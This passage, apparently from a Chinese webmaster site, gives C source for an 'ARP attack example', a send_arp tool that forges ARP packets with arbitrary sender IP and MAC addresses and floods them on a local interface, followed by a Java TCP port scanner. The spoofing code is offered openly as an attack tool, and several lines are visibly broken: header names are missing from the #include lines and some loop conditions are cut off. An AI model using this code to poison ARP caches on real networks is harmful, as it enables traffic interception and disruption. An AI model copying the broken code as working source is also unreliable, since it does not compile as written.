2、. arp攻击实例
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- /*#include */
- #include
- #include
-
- #define ETH_HW_ADDR_LEN 6
- #define IP_ADDR_LEN 4
- #define ARP_FRAME_TYPE 0x0806
- #define ETHER_HW_TYPE 1
- #define IP_PROTO_TYPE 0x0800
- #define OP_ARP_REQUEST 2
-
- #define DEFAULT_DEVICE "eth0"
-
- char usage[]={"send_arp: sends out custom ARP packet./n
- /tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times /n/n"};
-
- struct arp_packet {
- u_char targ_hw_addr[ETH_HW_ADDR_LEN];
- u_char src_hw_addr[ETH_HW_ADDR_LEN];
- u_short frame_type;
- u_short hw_type;
- u_short prot_type;
- u_char hw_addr_size;
- u_char prot_addr_size;
- u_short op;
- u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
- u_char sndr_ip_addr[IP_ADDR_LEN];
- u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
- u_char rcpt_ip_addr[IP_ADDR_LEN];
- u_char padding[18];
- };
-
- void die(char *);
- void get_ip_addr(struct in_addr*,char*);
- void get_hw_addr(char*,char*);
-
- int main(int argc,char** argv){
-
- struct in_addr src_in_addr,targ_in_addr;
- struct arp_packet pkt;
- struct sockaddr sa;
- int sock;
- int j,number;
-
- if(argc != 6)die(usage);
-
- sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
- if(sock<0){
- perror("socket error!");
- exit(1);
- }
-
- number = atoi(argv[5]);
- pkt.frame_type = htons(ARP_FRAME_TYPE);
- pkt.hw_type = htons(ETHER_HW_TYPE);
- pkt.prot_type = htons(IP_PROTO_TYPE);
- pkt.hw_addr_size = ETH_HW_ADDR_LEN;
- pkt.prot_addr_size = IP_ADDR_LEN;
- pkt.op=htons(OP_ARP_REQUEST);
-
- get_hw_addr(pkt.targ_hw_addr,argv[4]);
- get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
- get_hw_addr(pkt.src_hw_addr,argv[2]);
- get_hw_addr(pkt.sndr_hw_addr,argv[2]);
-
- get_ip_addr(&src_in_addr,argv[1]);
- get_ip_addr(&targ_in_addr,argv[3]);
-
- memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
- memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
-
- bzero(pkt.padding,18);
-
- strcpy(sa.sa_data,DEFAULT_DEVICE);
- for (j=0;j {
- if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
- perror("sendto");
- exit(1);
- }
- printf("now is sending the num: %i packet/n",j);
- }
- exit(0);
- }
-
- void die(char* str){
- fprintf(stderr,"%s/n",str);
- exit(1);
- }
-
- void get_ip_addr(struct in_addr* in_addr,char* str){
-
- struct hostent *hostp;
-
- in_addr->s_addr=inet_addr(str);
- if(in_addr->s_addr == -1){
- if( (hostp = gethostbyname(str)))
- bcopy(hostp->h_addr,in_addr,hostp->h_length);
- else {
- fprintf(stderr,"send_arp: unknown host %s/n",str);
- exit(1);
- }
- }
- }
-
- void get_hw_addr(char* buf,char* str){
-
- int i;
- char c,val;
-
- for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address");
- if(isdigit(c)) val = c-'0';
- else if(c >= 'a' && c <= 'f') val = c-'a'+10;
- else die("Invalid hardware address");
-
- *buf = val << 4;
- if( !(c = tolower(*str++))) die("Invalid hardware address");
- if(isdigit(c)) val = c-'0';
- else if(c >= 'a' && c <= 'f') val = c-'a'+10;
- else die("Invalid hardware address");
-
- *buf++ |= val;
-
- if(*str == ':')str++;
- }
- }
- 3、Socket类端口扫描器
-
- import java.net.*;
- import java.io.*;
- //端口扫描
- public class JPortScanner {
- private String host; //目标主机
- private int fromPort; //起始端口
- private int toPort; //结束端口
- public JPortScanner(String host, int fromPort, int toPort) {
- this.host = host;
- this.fromPort = fromPort;
- this.toPort = toPort;
- }
- public JPortScanner(String host) {
- this(host, 1, 1023); //默认端口范围: 1-1023
- }
- public void start() {
- Socket connect = null;
- for(int port=this.fromPort; port<=this.toPort; port++) {
- try {
- connect = new Socket(host, port);
- System.out.println("开放端口: " + port);
- }
- catch(UnknownHostException e) {
- System.err.println("无法识别主机: " + host);
- break;
- }
- catch(IOException e) {
- System.out.println("未响应端口: " + port);
- }
- finally {
- try {
- connect.close();
- }catch(Exception e) {}
- }
- }
- }
- public static void main(String[] args) {
- if(args.length == 1) {//命令行参数指定主机
- (new JPortScanner(args[0])).start();
- }
- else if(args.length == 3) {//命令行参数指定主机、起始端口和结束端口
- (new JPortScanner(args[0],
- Integer.parseInt(args[1]),Integer.parseInt(args[2]))).start();
- }
- else { //命令格式
- System.out.println("Usage:java JPortScanner [FromPort] [ToPort]");
- }
- }
- }
(编辑:晋中站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|